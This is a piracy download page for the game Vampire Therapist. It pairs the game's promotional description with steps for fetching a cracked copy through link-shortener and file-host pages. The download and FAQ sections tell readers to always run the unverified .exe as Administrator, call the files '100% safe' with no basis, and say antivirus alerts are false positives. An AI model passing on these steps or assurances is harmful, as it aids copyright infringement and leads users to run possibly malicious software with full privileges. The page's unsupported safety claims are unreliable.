Vampire Therapist Free Download (v1.03)

Vampire Therapist is a narrative adventure in the vein (get it) of What We Do in the Shadows, the horror works of Mel Brooks, Monty Python, and Horrible Histories where you play as a reformed bloodsucker helping other vampires find inner peace.

Take on the role of Sam, a former rootin’, tootin’ Wild West gunslinger who escaped his day-to-day of murder and mayhem and realized, after a hundred years or so, that there’s a whole lot more to unlife than blood, lace, and leather. Dragging himself from the quagmire of the Old West, Sam teams up with a 3000-year-old vampire living in Europe that’s willing to show him the therapy ropes.

Immerse yourself into this alternate world and meet your clients: self-hating vampires, agoraphobic social media addicts, supernatural narcissists, and victims of centuries-old capitalistic systems. You can’t fix the world, but maybe you can help other vampires accept it.

That is, if you can accept yourself first.

• Real Therapy Concepts: You’ll learn and apply real cognitive behavioral therapy concepts vetted by licensed therapists. By challenging client statements that contain “cognitive distortions”, you’ll help vampires see where their thoughts don’t match reality.
• A Comedic Look Through History: Meet emotionally damaged vampires from ancient Greece, Renaissance Italy, Tudor England, and the Bronze Age.
• An All-Star Voice Cast: Vampire Therapist is voiced by some of the best voice actors in the business, with Cyrus Nemati (Hades, Pyre), Francesca Meaux (Hades), Sarah Grayson (Gone Home, Hades II), Kylie Clark, and Matthew Mercer (Critical Role, Baldur’s Gate 3).
• Unique Setting: Vampire Therapist merges cozy self-introspection with a dark European goth vibe. In fact, the whole thing takes above a goth club in Germany filled with willing necks to bite.
• Minigames: Learn mindfulness meditation, safely and consensually bite sexy necks!

• Access the Link: Click the button below to go to Crolinks. Wait 5 seconds for the link to generate, then proceed to UploadHaven.
• Start the Process: On the UploadHaven page, wait 15 seconds and then click the grey "Free Download" button.
• Extract the Files: After the file finishes downloading, right-click the .zip file and select "Extract to Vampire Therapist". (You’ll need WinRAR for this step.)
• Run the Game: Open the extracted folder, right-click the .exe file, and select "Run as Administrator."
• Enjoy: Always run the game as Administrator to prevent any saving issues.

Tips for a Smooth Download and Installation

• ✅ Boost Your Speeds: Use FDM for faster and more stable downloads.
• ✅ Troubleshooting Help: Check out our FAQ page for solutions to common issues.
• ✅ Avoid DLL & DirectX Errors: Install everything inside the _Redist or CommonRedist folder. If errors persist, download and install:
  🔹 All-in-One VC Redist package (Fixes missing DLLs)
  🔹 DirectX End-User Runtime (Fixes DirectX errors)
• ✅ Optimize Game Performance: Ensure your GPU drivers are up to date:
  🔹 NVIDIA Drivers
  🔹 AMD Drivers
• ✅ Find More Fixes & Tweaks: Search the game on PCGamingWiki for additional bug fixes, mods, and optimizations.

FAQ – Frequently Asked Questions

• ❓ ️Is this safe to download? 100% safe—every game is checked before uploading.
• 🍎 Can I play this on Mac? No, this version is only for Windows PC.
• 🎮 Does this include DLCs? Some versions come with DLCs—check the title.
• 💾 Why is my antivirus flagging it? Some games trigger false positives, but they are safe.